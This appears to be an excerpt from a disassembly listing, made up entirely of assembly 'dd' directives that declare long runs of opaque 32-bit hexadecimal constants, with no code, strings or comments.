dd 0D11A433Fh, 2B1C75B8h, 57D26820h, 0DFA6006Ah, 0B664850Ah
dd 47009CB5h, 4A66707Fh, 602C8A75h, 0AB4C39CFh, 622C0A9Ah
dd 0CDA51C85h, 74CC6118h, 4739Dh, 16BDD74Eh, 3BA6A7h, 7D467867h
dd 9CA2E7F6h, 0F1554132h, 5BB05AD6h, 0DDA42049h, 0F970E1C4h
dd 3C68EC30h, 0D12F02h, 0A6B19FBCh, 38AD2B1Ah, 90F1D4B2h
dd 44D5CAC0h, 63024CACh, 55A593F6h, 3554C690h, 0E8493A49h
dd 2C9B16B8h, 0D4006CF3h, 3096293Ch, 2E0324BCh, 93113250h
dd 5321091Ch, 4929C91h, 271765C0h, 0DF65BF01h, 0A545F063h
dd 0C8C120h, 0CDA591Bh, 75BF685Ch, 302CD573h, 180B0CD7h
dd 16705163h, 0B608169Bh, 95A005Ch, 0F8C6479h, 0C7500CFDh
dd 6F9085BBh, 92931013h, 4E0094F7h, 0BC9FCFC1h, 19146F0Ch
dd 10A4AC9Eh, 267784DAh, 438890FAh, 98DEC46Bh, 4432392Dh
dd 710CB1F4h, 7D1809h, 0C7581027h, 0AD2AF0A6h, 53415669h
dd 9887348h, 6E27D01Ch, 24E43Ch, 5C4035E9h, 0C2E7ECCFh
dd 0BF090F00h, 8D8C06C7h, 559124Ah, 9BE84994h, 9A543C10h
dd 0F00F2001h, 8F37A661h, 56DA530h, 0BFD926C3h, 0B6C84B90h
dd 3A003C52h, 46F4986Ch, 57BD72h, 0DE4191BEh, 1897370Dh
dd 77DC6253h, 0B09D9513h, 7DE204E2h, 3014F530h, 0E8A9179Ch
dd 0BF3EA6A2h, 723A848Bh, 30F8570Dh, 6030D6BDh, 24C14C5Ah
dd 5D049211h, 0CFB0190h, 0BE3C76AAh, 9B65E30h, 8555BBCBh
dd 9FA94498h, 0C090F112h, 252154C2h, 7D50C8FCh, 98ABBD00h
dd 0F7AD33EBh, 71F801D3h, 0FC77D455h, 91C5E85Eh, 6611AC99h
dd 0A0174581h, 2CE7D27Ch, 175E813Fh, 0EA7E4A20h, 27B565ECh
dd 50B299ACh, 55976482h, 0A3068120h, 27525A8h, 0A5AE2C84h
dd 0AD044C44h, 3EE38403h, 0F87E63E1h, 0ED702Bh, 55AC7D41h
dd 0C46C48F2h, 64101095h, 260E0060h, 0ED1F07AEh, 69B0C67Ah
dd 97751D3Fh, 0F8F2594Bh, 9A44FE00h, 0DA7DED2Ch, 2CCBA64Eh
dd 1B02E3DDh, 601A2577h, 17A9D757h, 0C8E1B32Bh, 0FC892DA8h
dd 5FF848h, 4D1BAEF7h, 7DF8E111h, 7905E007h, 89E364F6h
dd 6E4E9807h, 0F4909FACh, 0A0074D4h, 0BF8FB3BDh, 0F99139h
dd 0E2264364h, 0FDC86246h, 3D0EF4A4h, 80F52B99h, 7ECBB107h
dd 0EC7EB8h, 755773BDh, 7C0DC5C7h, 0E76A8E00h, 0AFB9CC8Bh
dd 3FE8F174h, 0C44A0050h, 18E424DBh, 3200C798h, 0B2B4FABh
dd 0A42EB4h, 3DAC036Dh, 4CADD091h, 305418B0h, 820B4FECh
dd 8029D1CFh, 0D2962460h, 87A58F2h, 78C6AF8h, 4AC7A976h
dd 0AB9AF206h, 0E4EF744Ch, 0E525DFD2h, 11B49D75h, 5C888065h
dd 13543DABh, 0BFB8EDh, 0E4A8AAE1h, 94137C49h, 0DCCEC8AEh
dd 20C02DC8h, 2DB0219Bh, 9CC00570h, 0A325B148h, 8810C158h
dd 0FC796435h, 5A706BB8h, 40413A5Ah, 62AC2C69h, 71ECBDF4h
dd 27D47F81h, 9837BE42h, 694FCE05h, 34F54CC0h, 5C10B5BCh
dd 0A300CCF1h, 7E02F77Ah, 1C6B15C8h, 8053725Ch, 0C05EFFF3h
dd 0B0BA8DADh, 153DC47Fh, 754C7B55h, 5296C06Ch, 2EB032Ch
dd 0DD58E032h, 94879C76h, 5AEC321h, 9653D92Eh, 6FC0C702h
dd 98D0585Eh, 80555858h, 18C0CFCh, 0EEA1FF20h, 23A8F395h
dd 0EDB101D0h, 9D90F0ADh, 2BC8B831h, 8C6000E3h, 8AB0177Fh
dd 0A3080966h, 1E91C5AFh, 404EE41h, 45DD9811h, 0D8BDDA2Ah
dd 0FD504A02h, 0CF90167h, 431869D9h, 609EA701h, 0DAAC1854h
dd 0DBD8402Eh, 933DC14Fh, 1532D502h, 0C864055Fh, 88116BA8h
dd 5207C271h, 0D04FA43Ah, 0E55EF940h, 0ED29C05Fh, 8CB8840h
dd 0B0E8950Bh, 1A0683D5h, 0B35CB376h, 9D29078Ch, 444C5F13h
dd 0D8609CD2h, 465EA8B6h, 59200129h, 0F554CA0Bh, 105F1C4h
dd 0C084AC3Dh, 0C60FA528h, 0ADB92040h, 1D4F91F2h, 0C88C0CBh
dd 7CB760CEh, 0CD6C3CDh, 0FA3A536Ch, 0B8003841h, 94D322CEh
dd 0C08019h, 7567EDBDh, 0C2D9BBA6h, 9430B15Ch, 0C6A9008Dh
dd 0C802761Fh, 0B20E007Ah, 30D55244h, 1600F229h, 0B3999721h
dd 0C282BAB9h, 0D62B4138h, 188114DCh, 1BAB9F96h, 3766C69h
dd 0AD75E46Eh, 0CEE00931h, 8439B973h, 0F804869h, 28131Ah
dd 0D287B2B1h, 0FC5F7A11h, 9FAA00B9h, 2F5C5075h, 2B0158DAh
dd 519ABBA3h, 0A0207C7Eh, 93F0B4D9h, 6448E49Bh, 6329800h
dd 0F73AD82Fh, 3F5F3E41h, 0F54F3080h, 5CDBAA8Bh, 4CD0764Bh
dd 926BFDA6h, 68411C44h, 5F8EC00Ah, 19BE742Ch, 0B9F46A00h
dd 0EAFD484Ah, 0DBA800A9h, 0CD6F62F7h, 0E2133D6Eh, 4600D35Ch
dd 6B1FB1FAh
dd 0F0F800BBh, 0E95AAE10h, 0E70074C6h, 0A40BB4C5h, 60A7E61Ch
dd 18C728B3h, 0C900CDDFh, 90E90389h, 7F0AA1h, 6B1EF8FDh
dd 0F2E7347Ah, 4305C900h, 42DC536Fh, 8DCE006Ch, 452112Bh
dd 0C903643Fh, 1D0F20C5h, 1CF7A191h, 0EC8BD0h, 630C6086h
dd 642B8FBCh, 0F3CC6D03h, 0D84C18C6h, 0BCB5467h, 0D9CD29A3h
dd 7980338Eh, 5B31ABDEh, 51104760h, 0E099EAh, 0C767D3D0h
dd 79614A34h, 6F42ED00h, 11E909B7h, 258500C2h, 84711B6Bh
dd 600E567Ah, 0C791E48Ah, 8C9A68E5h, 0D0D504A1h, 9C00E4A2h
dd 0FFE1B734h, 1FF8E078h, 189DE677h, 33C519DCh, 1C311E67h
dd 241CA06h, 0E66506AFh, 0AC015E32h, 0DF20CBD6h, 84770Bh
dd 0EA6E34FCh, 0EB568D83h, 9DD37500h, 0B6D04AECh, 3E5503E1h
dd 0C7E27EB1h, 9907669Bh, 461C2A10h, 0A0565140h, 3AA700FAh
dd 1B6D4924h, 554CC067h, 487600BFh, 0E0E4772Eh, 0EA1C18C7h
dd 0D0229970h, 5534B1C7h, 843AE470h, 0F9E253h, 7E82D85Dh
dd 5668838Fh, 40B51C34h, 0B3BA5C81h, 0A4DE1B00h, 0F518E360h
dd 1681363h, 5A7E4296h, 4002EC23h, 2BEDAD08h, 0D0565900h
dd 24145248h, 0F7C60184h, 975769F8h, 5021F98Ch, 6432B6A4h
dd 9F4B6700h, 0D224F61Fh, 0F3BA035Fh, 7E4350DAh, 0CBCCA2B0h
dd 0FE0C397Eh, 68A1E202h, 9A7F0032h, 6234A466h, 4F60EE03h
dd 2EA05A30h, 0C59A8383h, 8C5280A1h, 475FF084h, 79629A01h
dd 0C62C2DADh, 0E45027CDh, 310360FFh, 79481AC2h, 67198218h
dd 0C04B44F0h, 0A865C1h, 790D5DA6h, 0FF5FAED7h, 0DEE90400h
dd 3DEA2B7Ch, 6AEC01E7h, 5ABAC27Ah, 0BC88801Dh, 68B2B455h
dd 9010C169h, 70F4988Dh, 0E7067CA9h, 1C50C612h, 0A87E7C71h
dd 0A6FFFCh, 0A4B2FD11h, 0BD2A3719h, 0EAC71600h, 755DF027h
dd 36B97F13h, 18587988h, 6E778F00h, 0D49934CAh, 0C900841Fh
dd 18B49C88h, 3846273h, 0FA2999Fh, 7A89A0C5h, 0C0404479h
dd 2ACA9331h, 590CF201h, 0A14B8B27h, 2A43BF8h, 0D6A555Ch
dd 9480385Eh, 54E8DCA3h, 90C19D14h, 0FFC91EFBh, 800FF426h
dd 484D400Fh, 0FDA61E3h, 0AC1EC55Ah, 5B17003Ch, 0A895A593h
dd 0B7254300h, 0BD6AA2DCh, 309A3E0Fh, 809C5180h, 0D2639F7Dh
dd 64156F01h, 5447AFC8h, 780767F0h, 0A418C062h, 2C3D5F3Eh
dd 9C201857h, 7F07D168h, 82FD1067h, 3D3D8E1Eh, 89395040h
dd 0E55BC6EAh, 0DE3E02Ah, 95DF0C00h, 2844F140h, 91790508h
dd 29827D92h, 37819D20h, 1442C490h, 0C13E0803h, 0E3C80AA0h
dd 2F003581h, 0EFC89C16h, 38156E42h, 0BCBADB5Ah, 0FB577002h
dd 34932CE3h, 80C2082Ah, 72E9B423h, 3C00A01Fh, 5DE86443h
dd 0D0ED0021h, 0BC424110h, 0E8A3DD24h, 4B6E4E2h, 0AD308B0Fh
dd 53E9805Ch, 0B8E8C9h, 0D62AA44Dh, 2BDFD0F2h, 8C374600h
dd 0E443E38Dh, 0AB3432EAh, 0D5103829h, 0E061880Dh, 88A8B088h
dd 2F88294Ch, 0DE65880Eh, 8BAAA788h, 396F2184h, 7107912h
dd 0FEF489A5h, 223A2722h, 1925DF1Dh, 0F0083C0Fh, 4093451Ch
dd 94F4081h, 723F8EE4h, 28B68050h, 6205F920h, 1EC10175h
dd 0B419DBEFh, 6E5F476h, 9322BB07h, 0C5A0C453h, 26945F26h
dd 0CAB71Ah, 0F4240BE6h, 8D004A35h, 0CC2184C1h, 0EDBFB8h
dd 8ABB74E0h, 0B7F8013Ch, 5B29D300h, 0E9AA3239h, 179071h
dd 0DB098FF6h, 0BBC190DDh, 65EEB21Ch, 362B2340h, 3A24FBA2h
dd 0ED007F53h, 0BF0849Eh, 5C1D29B2h, 0EEC041ACh, 0A2058F9h
dd 1E910073h, 0ABAE43D2h, 6C0165B4h, 127D368Eh, 0C8CFDB72h
dd 0A3AD07h, 0F960EB2Ch, 30A76AFBh, 4A368B00h, 0D2F2E93Fh
dd 0DFC10077h, 74D8E619h, 327E602Bh, 0A10BF400h, 80E06DAAh
dd 9FD0044h, 209F53D4h, 0A40033F0h, 0ACF24DDAh, 3885E901h
dd 71FD68B3h, 0E67137h, 35306A63h, 86133DA8h, 62925F00h
dd 2CD4710Bh, 0DF2B00CCh, 0BB1569C9h, 41007793h, 2DDA16A8h
dd 1E590140h, 0C781D585h, 2071DD9Bh, 5132AE5h, 0C4245401h
dd 0A14925F0h, 75743C4h, 84C814D9h, 0E9A330CCh, 5E00FC33h
dd 8C22EBE0h, 0FC22941h, 94D3CADAh, 50672B67h, 449F793Dh
dd 0EBE3F007h, 0BB10B220h, 777454h, 0E071DEBDh, 0E83B11C9h
dd 0C90EB00h, 35DBEA8Eh, 8D7C95h, 49B52DFBh, 39E080B8h
dd 55AE6900h, 815AD315h, 0B13400F0h, 3F731E1Dh, 4606805Ch
dd 4A1CFCD0h, 0AC420198h, 3803DFF3h, 5F29DC0Ah, 1308E80Fh
dd 44586135h, 5BFCA483h, 18900023h, 43C58955h, 0BD0CB4EBh
dd 6AE0F738h, 686F00FAh, 4E71A4F4h, 0F0281C5Dh, 36989C47h
dd 0ECA6C101h, 0D65B55BEh, 9EC81981h, 0C5CF3AF1h, 1896C07Fh
dd 90F97100h, 0CE08100Fh, 0B01B001Fh, 1275934Ah, 0DB004CFBh
dd 0A350E5D2h, 0E80CE26Ah, 0F3F73E74h, 0DFCE2700h, 73F176B1h
dd 0E1AF0A00h, 59E9EAEBh, 4C380790h, 10E0DB6Fh, 23C2B4A3h
dd 4974EF00h, 46DF4ECAh, 0E3CD3C1Eh, 265112h, 31B70E08h
dd 451CBE9Ch, 12402D3Eh, 0AE5ECB98h, 475B00C2h, 0D8EBCCF7h
dd 7B0085E1h, 37B4545Dh, 7FE6A831h, 15E24Eh, 600C6E1Ch
dd 6598CEA3h, 493F8C00h, 931185C0h, 46920199h, 4DD60F18h
dd 668CE0C2h, 500DD70h, 963BC4E6h, 0B10C50h, 4AF2A998h
dd 5684035Ah, 933DD812h, 5D240600h, 993635h, 0E3346F77h
dd 4E1E8D9Ch, 168A9509h, 7C0000BBh, 60B2F1AAh, 0C59111Ch
dd 6A73D666h, 0BE329F63h, 0A4B7D0D9h, 6C5C001Ah, 7A1871CCh
dd 53177B2Ah, 380152F7h, 0AF79E41Ch, 2354820h, 5BCEC413h
dd 0E18EC088h, 0F72BFF40h, 4F6014B9h, 0FA4B1256h, 0C9A40070h
dd 956D2EFDh, 8F008E10h, 1428A976h, 0CC3DD5h, 37BFB4AFh
dd 6451F0Fh, 0F83A8878h, 71840252h, 0E09AF549h, 7EB71271h
dd 7E260007h, 0E1DC4A4Bh, 28907F61h, 0EE943605h, 9000CDBCh
dd 722F7CE5h, 0A62800F1h, 10F93FC9h, 6A00D32Bh, 58878B80h
dd 0D667D9h, 0AC542F04h, 0A3A04C7Ah, 47C80E00h, 5AB6D07h
dd 98A7001Ah, 0AF97E66Ah, 0E7004D27h, 0B731C15Ah, 140D42EAh
dd 8891A7C7h, 0D8ED0200h, 0CDC230D7h, 0CC612200h, 0C8937794h
dd 0C1C70044h, 0DA9201E7h, 1F0E7FB3h, 0C06BC295h, 0F9261EAFh
dd 0FAD50FDEh, 0F8402A8Bh, 9823AA18h, 7DB12900h, 24DF47E0h
dd 6BD53DE7h, 0D8127080h, 8A88C743h, 68002C77h, 0AC5DC1F9h
dd 98B78B9Ch, 2CA1260h, 0B410AFA2h, 0B2F402C8h, 0F5CF5AECh
dd 0DD9A0060h, 9F1E3900h, 962EF53Eh, 30FC0011h, 425B57BFh
dd 0FF01382Ah, 0A01C731Bh, 59F1105Eh, 1E609AD0h, 407AF887h
dd 0F58FF168h, 0FA00B36Ch, 19B17B36h, 5E82EFh, 53FBCC5Bh
dd 5D561304h, 75CE4800h, 0D9E63E4Eh, 0F1200003h, 3DF874E5h
dd 400504Ah, 0B642D144h, 1DB3076Ch, 4F06C0h, 37134C64h
dd 6300C238h, 72C7DB44h, 0F77677h, 616C0ABBh, 0F9A95187h
dd 53DF3400h, 15D29F0Dh, 5B00956h, 2084AEE5h, 7D0EC003h
dd 6400C793h, 0CA9DC286h, 7CD187h, 58C58D1Eh, 8A63662Ah
dd 260014F2h, 126D9255h, 4018769h, 59EFF9EBh, 0B87C91C8h
dd 50D0DC5Eh, 0D73CC212h, 8FE54400h, 71607BFh, 0A836D857h
dd 0CE68B02Ch, 863DE03Ah, 0FBBE8495h, 4C807A6Dh, 15CA2Ah
dd 8C3A0709h, 55A134Ah, 0B730C500h, 7C9BE717h, 103D602Bh
dd 227BA9C7h, 5DEED500h, 0B3091B24h, 0A2980035h, 0F5886283h
dd 4C0041ABh, 52A008F0h, 96FFDCh, 0AE9C9B73h, 0A6912F80h
dd 403338h, 0D07ECC57h
dd 24010205h, 549298h, 245022BAh, 0AD00F0FBh, 999697AEh
dd 79F343h, 0D4B844FEh, 0A6BFE841h, 21C78D2Ch, 0C2511500h
dd 3DF189Bh, 0E3CC55B4h, 0EEE04172h, 3F0F3968h, 0A106E811h
dd 316FD8AEh, 13C70FC4h, 25FB13h, 8AEEB6B8h, 34016688h
dd 0CA5715BAh, 988024EAh, 30EF431Ah, 8001C64Ch, 35E3AF70h
dd 9DCFACCh, 0B50E03DAh, 883DEFD6h, 0EBB283C8h, 6660E613h
dd 0A541B800h, 0AFA1B0Ch, 1C8BDEC2h, 80D51ECCh, 651AF5DFh
dd 4BF0B2EFh, 1B3DB600h, 0FD7259A7h, 406760F9h, 88C9A0DEh
dd 16B23700h, 830B4B7Fh, 226A0034h, 2890C243h, 0A139F6D5h
dd 0CBE802Ch, 182ADFDBh, 0BA747Eh, 0ACF884CCh, 0D6EC3067h
dd 3867700h, 6B3FF75Eh, 0E2080237h, 60CE9ED3h, 6F9C0C80h
dd 480033D8h, 0BEFB39ABh, 1FC4E2h, 0D1215999h, 5FA4A15Dh
dd 8ECB9502h, 0C015EEC3h, 1F5A07D8h, 0C4A05541h, 0D0318B4Dh
dd 0B76E780Ch, 2B470F00h, 323AFE07h, 25ED007Dh, 11C78A3Eh
dd 0F103DFC2h, 83E99EE0h, 0E0E7D26Eh, 90853BDFh, 9A65167Ch
dd 779F00E8h, 0F6A85874h, 2E3C79F0h, 0E3BC0016h, 231C814Fh
dd 66D0099h, 0B8D6A389h, 6B7F6205h, 0CDEC7800h, 0DA3FEE50h
dd 0FB3CE68Dh, 1824DF8h, 2A660502h, 0D4747AFAh, 0B73C7026h
dd 0C6E48030h, 9CA4585Fh, 0E255000Eh, 0D89DF20Dh, 0A807A7EEh
dd 0BA3F8B21h, 0E83A0379h, 0B9759062h, 0DC1D0330h, 38E76384h
dd 0A9B7C7F0h, 141E0A00h, 0E6C42A31h, 971D00BEh, 7DF7B443h
dd 5650307Ah, 37001ED6h, 0E11FEF4Eh, 73D59A75h, 1F098B7h
dd 7691D12h, 0DC9E3246h, 6400FC71h, 5438A367h, 0D8D1B7h
dd 36100211h, 32A50F8Fh, 0BFE33C00h, 0EF69304Fh, 0BC0A00E0h
dd 4728A33Ah, 9E40F35Bh, 7630042Dh, 86E126DFh, 3E2E69A7h
dd 65018F93h, 0B12DFFA1h, 13DC92DDh, 74AA0091h, 3D0CD898h
dd 90B8D4B9h, 421DDB02h, 0E0F10241h, 3F580D4Ch, 0FF13B5F9h
dd 0C98C00C5h, 0C3B1059Eh, 2F014900h, 0ECFB118Eh, 132800CCh
dd 0D4E70FE0h, 9803DDF8h, 0A1A84473h, 0F41D9826h, 950D0456h
dd 0C0D646B4h, 4EE9695Ch, 0D796C000h, 0BF3E421h, 8194A1CAh
dd 771C9032h, 3C57400Ah, 98211260h, 4261DE00h, 6C4BBB02h
dd 6DC803D0h, 19107972h, 0DF1C3FE8h, 164FEB01h, 154A88CEh
dd 3EF80471h, 0B61807B0h, 302FF406h, 9D245F60h, 0D9507C13h
dd 0BFB3BC00h, 3E03Eh, 0E8A4D06Eh, 0D7E40244h, 0F9A0290Dh
dd 4460ACEBh, 0ED3D009Eh, 0A18FA4B3h, 1EE6B1B6h, 86C96095h
dd 3E479E8h, 2F2E487Bh, 85B83388h, 0FA00F125h, 979AFDCh
dd 90503667h, 8E7E68h, 0F75D891Fh, 2195AD06h, 0D71A3D00h
dd 0EEB02065h, 1B62E473h, 291DB877h, 0DBBB2F80h, 7A064D04h
dd 6F031EB0h, 74B256D2h, 0B2213CE0h, 385A3903h, 2260C402h
dd 17782868h, 0E2C65400h, 0C28A38DEh, 5B3010Eh, 61E46E7h
dd 30CFCCCAh, 0D2EAF8A0h, 27DD50Eh, 0F149406Ah, 6F0EB7h
dd 0FF404BD3h, 0B6911B83h, 2B0C9300h, 43E9D08Fh, 7C850084h
dd 8A6B718Ch, 1C01E4B4h, 18FAE9Fh, 8C304FFDh, 6C4A0EA5h
dd 3C439311h, 9BA83DB3h, 1400F451h, 309A49F3h, 68DD44h
dd 1CF8EBE7h, 350F788Eh, 0E46AB103h, 7657DBh, 0B6C57711h
dd 0D8713237h, 300748h, 6BF2C886h, 162ABFh, 79AE9450h
dd 753876ADh, 86CAA48h, 24335DB0h, 0EBF10001h, 38B134E2h
dd 0DBF7612h, 0B78508Ch, 11ED1EF2h, 108C0000h, 0D307C822h
dd 0A1A4B80Bh, 25491D80h, 0B9F2D9h, 781E504Fh, 691B9384h
dd 96759500h, 18708F66h, 0B890E6h, 27D67AADh, 0C346268Eh
dd 4D00D57Ah, 6E4F9A4Bh, 61A001h, 0EC0541F1h, 191438D9h
dd 112DC500h, 24BE1694h, 34EB0343h, 25F980ABh, 95D280DFh
dd 3A00D893h, 4CA7EAB7h, 908C716Eh, 0F2DEFCACh, 77F2E0C7h
dd 0B83726DBh, 0F8630925h, 51973440h, 3EAC817h, 72654A02h
dd 8EC9607Ch, 0ADA9006Fh, 0DFFA4A44h, 881268D4h, 3080B394h
dd 4437F5EDh, 920F2AE0h, 21DA36D1h, 0A6ACBFC2h, 1C7BD0F4h
dd 0D3228288h, 0C1448068h, 0A51DBCFBh, 18C349ADh, 0BCE47D86h
dd 0D4BAC880h, 5AE900A7h, 1B990339h, 0B6003C0Dh, 0C8EBE40Bh
dd 90D4AE3Bh, 0CAE10003h, 711D483Fh, 7A0CD6D2h, 280F38CFh
dd 0CB91462h, 0F300B86Eh, 2AE7592Ch, 98008CFFh, 0D1C37F30h
dd 60B325CFh, 26EF1091h, 0A1009EF4h, 0F3389C90h, 3AF1700Dh
dd 723C934Dh, 8600A15Ch, 2844129Ah, 2700A557h, 0E697FC9Dh
dd 8FE5Bh, 8A4E131Fh, 0E2805C23h, 674E1E2h, 35E5300h, 0F1B54414h
dd 45BD0075h, 0E3E794Bh, 2300689Bh, 76D5810Ch, 0E94601h
dd 0AFF0B41h, 9CA38698h, 0B01F3500h, 28DF4451h, 3C9148FEh
dd 6521409Dh, 66CBB35Fh, 2D7141EAh, 4A006C90h, 0E2DDF6F1h
dd 0A92089h, 0CF3057D1h, 5F63EBB3h, 4CB83BE4h, 4AEC1A00h
dd 6049992Fh, 5C650073h, 6A4D11ACh, 0FD7005D6h, 622F1413h
dd 1DE03C14h, 0A8002A85h, 0E3111798h, 9F7E0903h, 0DC019D45h
dd 0CD209390h, 9EA82034h, 94ECC800h, 8828F8DDh, 0C1FB00B6h
dd 565790F1h, 2300C9BBh, 59B93BD3h, 690AF7h, 3C8D5EEAh
dd 0FD429A24h, 5F62DC05h, 0E280836Bh, 0E1F803Dh, 0B4484361h
dd 0C865CAE0h, 0CC0026E8h, 0F049D8AEh, 0F401F163h, 696F1E8Ah
dd 8064DEC4h, 655F12C2h, 491E7BF7h, 0FC800C14h, 0AE6D4F7Dh
dd 61E800EEh, 0A9945F7Ch, 8818CD3Ch, 10112AC7h, 0DAFA86h
dd 0C4960F34h, 0AE747DC2h, 0E7886700h, 8E611476h, 0C63B075Ah
dd 609759BCh, 8835ACB9h, 2C1EA800h, 80A61899h, 0B38300F7h
dd 0FA044234h, 6A00C410h, 5BBAFCD2h, 90C6997Eh, 0E861FBD8h
dd 0D5CAF600h, 845800EAh, 708B7F7Ch, 0B9008F6Ch, 0D2A0493Fh
dd 292897BBh, 0E89A5Dh, 0ADE7013Eh, 4BE49412h, 20E03Eh
dd 0B130802Bh, 0B94FF875h, 0D6ED0018h, 0B85744E0h, 14FB5Ch
dd 9928A4AAh, 738A2DEh, 3EE3E848h, 40EED008h, 0DA07EF0Ch
dd 966D303Fh, 649DA220h, 0E1E700BAh, 0E2580217h, 0F63D6A5Ah
dd 99CC8E8Ah, 385FE02Ah, 58E8D74h, 0B8D5E0B4h, 0F840C086h
dd 8400E91Ah, 16A30F3h, 0EA29AFh, 0ABF07668h, 48CEFD3Ch
dd 0DCC6200h, 8D3D0882h, 2E6F0043h, 4DA4A2DAh, 2AEC3E6Eh
dd 0CC964A00h, 0F78ABE49h, 0AE9003D4h, 29D9C7B1h, 0B7A660FFh
dd 5100DD42h, 67B02E6Ah, 47B63CEh, 5C1AD022h, 0C11E40BDh
dd 6A1BA2h, 957592DAh, 0ADC340C8h, 0D330AC09h, 674A2DDh
dd 0C7B7C0F2h, 484F86h, 218714E8h, 0B4926E6Ch, 78AC9C05h
dd 0BC00825Fh, 0DD8A4B91h, 32890026h, 8FA3BC35h, 0FC00703Ah
dd 59B48D03h, 2CC9C4ACh, 73415F9h, 500748h, 9255FDCAh
dd 0D26D1700h, 7C9B3577h, 564758Dh, 0BF1B26B8h, 857C81E3h
dd 2E1A20CAh, 0D67E85B8h, 9609D21Ch, 0B3871600h, 90CBDD1Dh
dd 53810073h, 0A2638D7Ah, 0C116335Ah, 3C00B67Fh, 0E3CEE131h
dd 2DDF0027h, 32C44418h, 0F07A311h, 660C2A88h, 0A09380C0h
dd 341B07BCh, 0B374CC2Ch, 0CDD07A73h, 8401691Dh, 0C5548ABh
dd 78D8D8E4h, 636000A8h, 9B4F358Fh, 1800D4C5h, 7DCABA6Eh
dd 2999F3h, 0B51A0DD8h, 77981284h, 0D3EE0300h, 56AB1683h
dd 0DE350033h, 0D11BC891h, 0EEE03E14h, 80367125h, 345C960h
dd 0CAC800CBh, 81BC8C5Fh, 5500F476h, 88E37513h, 1C9EC3F2h
dd 0C0B96E28h, 12D6241Eh, 0CD001B10h, 2296AD5Fh, 5D0944h
dd 9A9F4A1Ch
dd 11C92D5Bh, 0F82AA83Ah, 11494132h, 0FDCB021Ah, 0F2A010A0h
dd 5D00340Bh, 7D9C8C29h, 304A247Fh, 11A02F56h, 550789A1h
dd 8DC2AFF6h, 684AB88Ch, 802C201Eh, 10086A61h, 12EE50DCh
dd 0A354AEF2h, 3F844B18h, 0CE980AA6h, 0A7A238E1h, 889BBE29h
dd 1431160Ah, 7070210h, 60AEA789h, 12D87372h, 64DBBC00h
dd 56C80608h, 27C40034h, 0EA58DCF2h, 25009C13h, 111B0954h
dd 3A7A8364h, 0E4007406h, 0E8DD9644h, 0AC034768h, 36401B0Bh
dd 1CA1986Fh, 20612C82h, 0A57807FDh, 0D33AE02Ch, 1024D605h
dd 4C00326Eh, 33E56281h, 931C3C38h, 0A8B34400h, 1D86D36Ah
dd 0C50F7500h, 2E704807h, 0C81E1DBAh, 0ADDE800Ah, 72305250h
dd 4C00BB4Bh, 77449B51h, 11F9CA12h, 8095F04h, 0EE4605Bh
dd 0EBD20091h, 45826A59h, 70009885h, 203C9D93h, 474CDA3h
dd 2236A615h, 7C8C865h, 4BBBD00h, 0DE3C1197h, 9F1F1D27h
dd 4F2F84ACh, 6110C07Ch, 50829BFCh, 6F2B07E4h, 436A413Dh
dd 0C9F82590h, 617F10FDh, 21C74A00h, 0B8B9E0A6h, 77F32EAEh
dd 0AA803E9Ch, 95FB98DCh, 1F009CA8h, 16469EA0h, 3903CC50h
dd 86002B9Ah, 2AFC8D9Bh, 0F5004D83h, 9F25C2F7h, 11EB6Bh
dd 5B1262DAh, 0CD82B896h, 0A840834Bh, 786E02DBh, 1F8E00C1h
dd 93192D95h, 51000EC3h, 68162CDFh, 0CC4FBE4h, 7F566BD9h
dd 1D001768h, 33AA44D7h, 71B9DDA4h, 0C7960010h, 28E42B5Ah
dd 140038DAh, 653A6F13h, 1F682473h, 0C05AD858h, 55E9C790h
dd 20A5274h, 84B50DBBh, 5F339800h, 56CABAAh, 1E4C5D31h
dd 0FCD80B10h, 0D4E66702h, 0D8945CD8h, 93C8C07h, 600BB222h
dd 0FB86A8h, 0BA1360E8h, 64F7536Bh, 2F665B0Ch, 0F4B860A5h
dd 8B8A107Fh, 0CC6C2CFCh, 80DCDF8Eh, 0E50F159Fh, 3E1300C0h
dd 0D61003D5h, 2406755Fh, 4B417608h, 0E7462CAEh, 240025B8h
dd 5ACD7184h, 0D96EE100h, 9957911Ch, 0F94E0533h, 3CBD17h
dd 19CFA398h, 4201E07Ch, 3189C0B0h, 18C8F0F7h, 0E5E300A7h
dd 21A5827Dh, 7E0384EAh, 25D748CDh, 0ED77FF60h, 9D684B51h
dd 0E5E9AD4h, 3EF62A97h, 1CD6C960h, 88E2C555h, 525B0900h
dd 9D1E3A94h, 969A0225h, 9B89BC4Dh, 0D15044E0h, 0FA76BE00h
dd 0C7FDC827h, 9F820014h, 8D8EE528h, 0B000D856h, 0AA16B23h
dd 7DAAF1FAh, 0B8BD0416h, 87DED60Ch, 25A75F9Ch, 0DF7FE0E2h
dd 730176A3h, 0FB7281B7h, 0F730E55Eh, 42E900C5h, 0A56CC94Ah
dd 27122A73h, 6800D61Ch, 16AE8202h, 0DEDF3CD2h, 190F980h
dd 6DA4E6CEh, 0A5139500h, 874B968Dh, 0F1764091h, 38E43A7Bh
dd 71EDFC0Fh, 221BC0D6h, 7E05760Ah, 3FEA0241h, 94CAA715h
dd 4D1FD054h, 896ED440h, 77F40E9Eh, 3C14F6B1h, 60028A6h
dd 0A229A3C7h, 0A900D2DAh, 23DD7DCh, 9D81E3ADh, 7226EF50h
dd 0F493405Dh, 0FE9C6C80h, 972000C1h, 0BBEAE4DBh, 63006B2Ah
dd 30D6EE07h, 0E82FD0h, 0BC9B4B9Ch, 9EA88EFCh, 6BFA2C90h
dd 0D2C08BCh, 0AC854407h, 4D8A78ACh, 0BC004CE3h, 9364A3C8h
dd 75007CB7h, 0CD122C8Ch, 753C28Ah, 0CB5F9CD8h, 0C7222518h
dd 54FAF285h, 0A740C50h, 0E83AEF70h, 88302461h, 4880F000h
dd 81CE5Fh, 8EB13469h, 0A489D838h, 5C22430Eh, 0CDE3E1F9h
dd 0D9DC8751h, 2B3C00EFh, 4D033BFEh, 0A8007501h, 0BC44309Bh
dd 85EA4Ch, 7659FB12h, 6CA9E622h, 560037ECh, 735D5CB9h
dd 0FC897E5Fh, 70BCE36Dh, 20507F80h, 8B19F00Ah, 0C73D8700h
dd 795EB5F6h, 732C0F69h, 7500D5A8h, 3D05D21Bh, 0C400957Eh
dd 3A18D6F0h, 14EF1FCh, 777625F8h, 539FC3BDh, 79A02998h
dd 723CCC14h, 22062D2Dh, 28C2364h, 66C0DCC0h, 1F00993Ch
dd 0BE6C2BE4h, 575AD2h, 3990538Dh, 0AE7A07A1h, 46F09407h
dd 0B41343A5h, 0B115A997h, 0C883B121h, 0CDB03678h, 3B610F90h
